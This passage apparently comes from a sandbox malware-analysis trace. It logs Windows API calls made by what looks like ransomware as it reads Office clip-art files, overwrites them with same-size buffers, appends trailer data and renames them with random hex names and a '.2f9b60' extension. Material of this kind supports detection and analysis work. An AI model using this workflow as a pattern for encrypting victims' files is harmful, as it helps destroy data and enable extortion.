0x8f0aeb3 [0149.138] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x5ae7680e [0149.138] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x3b59765c [0149.138] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x3787d171 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x5bf2a0f2 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x142d6bf5 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x21d65b2a [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x67ee5266 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x69d6d06 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x6f14261 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x5368a539 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x580baeab [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x1d39d102 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x6ec91546 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x534b6579 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x3fc44a33 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x7855f551 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x1694aef0 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x4f2e28f [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x2b1301a4 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x2f737ee2 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x530a53d9 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x5beb0743 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x5fa88db3 [0149.139] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x4b231f04 [0149.140] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x57ae281d [0149.140] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x6145939c [0149.140] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x2b10e4f5 [0149.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0149.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0149.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1326b0 [0149.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0149.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0149.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0149.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0149.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0149.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0149.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0149.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20482eb0 [0149.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2047b690 [0149.156] ReadFile (in: hFile=0x1c3c, lpBuffer=0x20482eb0, nNumberOfBytesToRead=0xa82, lpNumberOfBytesRead=0x21f1f5b0, lpOverlapped=0x0 | out: lpBuffer=0x20482eb0*, lpNumberOfBytesRead=0x21f1f5b0*=0xa82, lpOverlapped=0x0) returned 1 [0149.156] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.156] WriteFile (in: hFile=0x1c3c, lpBuffer=0x2047b690*, nNumberOfBytesToWrite=0xa82, lpNumberOfBytesWritten=0x21f1f5b4, lpOverlapped=0x0 | out: lpBuffer=0x2047b690*, lpNumberOfBytesWritten=0x21f1f5b4*=0xa82, lpOverlapped=0x0) returned 1 [0161.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0161.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0161.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0161.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2047b690) returned 1 [0161.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20482eb0) returned 1 [0161.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0161.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0161.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fee0 [0161.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0161.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0161.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0161.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600f0) returned 1 [0161.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8600f0 [0161.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0161.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0161.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0161.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0161.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0161.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166ce0 [0161.571] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.571] WriteFile (in: hFile=0x1c3c, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x21f1f6d0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x21f1f6d0*=0x10a, lpOverlapped=0x0) returned 1 [0163.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0163.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b800 [0163.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b800) returned 1 [0163.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b800 [0163.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0163.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0163.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0163.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.340] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="94") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="13") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="41") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="16") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="e1") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="11") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="9c") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="c2") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.340] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="77") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="34") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="7e") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="f5") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="b1") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="22") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="35") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="92") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="99") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="87") returned 2 [0163.341] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="b1") returned 2 [0163.341] RtlInitAnsiString (in: DestinationString=0x21f1f748, SourceString="94b51341d616d1e1119cc27d77347ec3f5b12235929987b1" | out: DestinationString="94b51341d616d1e1119cc27d77347ec3f5b12235929987b1") [0163.341] RtlAnsiStringToUnicodeString (in: DestinationString=0x21f1f718, SourceString="94b51341d616d1e1119cc27d77347ec3f5b12235929987b1", AllocateDestinationString=1 | out: DestinationString="94b51341d616d1e1119cc27d77347ec3f5b12235929987b1") returned 0x0 [0163.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0163.342] RtlFreeAnsiString (AnsiString="9") [0163.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b800) returned 1 [0163.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0163.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600f0) returned 1 [0163.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0163.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0163.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861200) returned 1 [0163.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a9c0) returned 1 [0163.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0163.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1326b0) returned 1 [0163.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5890 [0163.346] wcscat (in: _Dest=0x1cdb5890, _Source="94b51341d616" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\94b51341d616") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\94b51341d616" [0163.346] wcscat (in: _Dest=0x1cdb5890, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\94b51341d616.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\94b51341d616.2f9b60" [0163.346] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\94b51341d616.2f9b60", NtPathName=0x21f1f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\94b51341d616.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22ce0 Thread: id = 2317 os_tid = 0x1c98 [0149.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0149.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF", dwFileAttributes=0x20) returned 1 [0149.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1db0 [0149.160] GetFileSizeEx (in: hFile=0x1db0, lpFileSize=0x2326fa00 | out: lpFileSize=0x2326fa00*=2832) returned 1 [0149.160] SetFilePointerEx (in: hFile=0x1db0, liDistanceToMove=0xb0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.160] ReadFile (in: hFile=0x1db0, lpBuffer=0x2326f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2326f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2326f980*, lpNumberOfBytesRead=0x2326f9c8*=0x4, lpOverlapped=0x0) returned 1 [0149.162] SetFilePointerEx (in: hFile=0x1db0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0149.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0149.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0149.163] NtQuerySystemTime (in: CurrentTime=0x2326f8c0 | out: CurrentTime=0x2326f8c0*=132462177543694000) returned 0x0 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x57cf8507 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x1ca8d66d [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x47e5178c [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x78004761 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x509d1e9e [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x3e216614 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x6e1b940f [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x40e17f9 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x224535e9 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x6a6448bb [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x340c5f3d [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x14a111e6 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x3af4e083 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x60541003 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x1c0ed662 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x42e6eb00 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x2222982f [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x5d6d23db [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x107120f3 [0149.163] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x4da4062e [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x490cf940 [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x4e0c4db6 [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x654b1a30 [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x169dd1fa [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x2a360f2b [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x782b2021 [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x725c5f6b [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x60b82855 [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x549d1162 [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x4e4acd4c [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x5ee5a1fb [0149.164] RtlRandomEx (in: Seed=0x2326f8b0 | out: Seed=0x2326f8b0) returned 0x19914c71 [0149.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x180430 [0149.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0149.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264040 [0149.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0149.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0149.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0149.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0149.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0149.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0149.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0149.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204a4b40 [0149.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d5f0f0 [0149.176] ReadFile (in: hFile=0x1db0, lpBuffer=0x204a4b40, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x2326f8b0, lpOverlapped=0x0 | out: lpBuffer=0x204a4b40*, lpNumberOfBytesRead=0x2326f8b0*=0xb10, lpOverlapped=0x0) returned 1 [0149.176] SetFilePointerEx (in: hFile=0x1db0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.176] WriteFile (in: hFile=0x1db0, lpBuffer=0x41d5f0f0*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x2326f8b4, lpOverlapped=0x0 | out: lpBuffer=0x41d5f0f0*, lpNumberOfBytesWritten=0x2326f8b4*=0xb10, lpOverlapped=0x0) returned 1 [0161.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4790 [0161.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a47c0 [0161.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a47c0) returned 1 [0161.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d5f0f0) returned 1 [0161.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a4b40) returned 1 [0161.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0161.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0161.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a47c0 [0161.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0161.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0161.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a47f0 [0161.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a47f0) returned 1 [0161.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a47f0 [0161.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4820 [0161.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4850 [0161.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4850) returned 1 [0161.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0161.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0161.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aabf0 [0161.517] SetFilePointerEx (in: hFile=0x1db0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.517] WriteFile (in: hFile=0x1db0, lpBuffer=0x423aabf0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2326f9d0, lpOverlapped=0x0 | out: lpBuffer=0x423aabf0*, lpNumberOfBytesWritten=0x2326f9d0*=0x10a, lpOverlapped=0x0) returned 1 [0163.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0163.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0163.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fe0) returned 1 [0163.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0163.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0163.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0163.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0163.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.302] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="60") returned 2 [0163.302] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="80") returned 2 [0163.302] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.302] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.302] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="53") returned 2 [0163.302] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="c1") returned 2 [0163.302] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="68") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="f3") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="a3") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="a7") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="8c") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="35") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="36") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="b9") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="85") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="82") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="77") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="dd") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.303] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="8f") returned 2 [0163.303] RtlInitAnsiString (in: DestinationString=0x2326fa48, SourceString="6080b5a253c168f3a3a2a78c3536b9a8f08582f077dda28f" | out: DestinationString="6080b5a253c168f3a3a2a78c3536b9a8f08582f077dda28f") [0163.303] RtlAnsiStringToUnicodeString (in: DestinationString=0x2326fa18, SourceString="6080b5a253c168f3a3a2a78c3536b9a8f08582f077dda28f", AllocateDestinationString=1 | out: DestinationString="6080b5a253c168f3a3a2a78c3536b9a8f08582f077dda28f") returned 0x0 [0163.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0163.304] 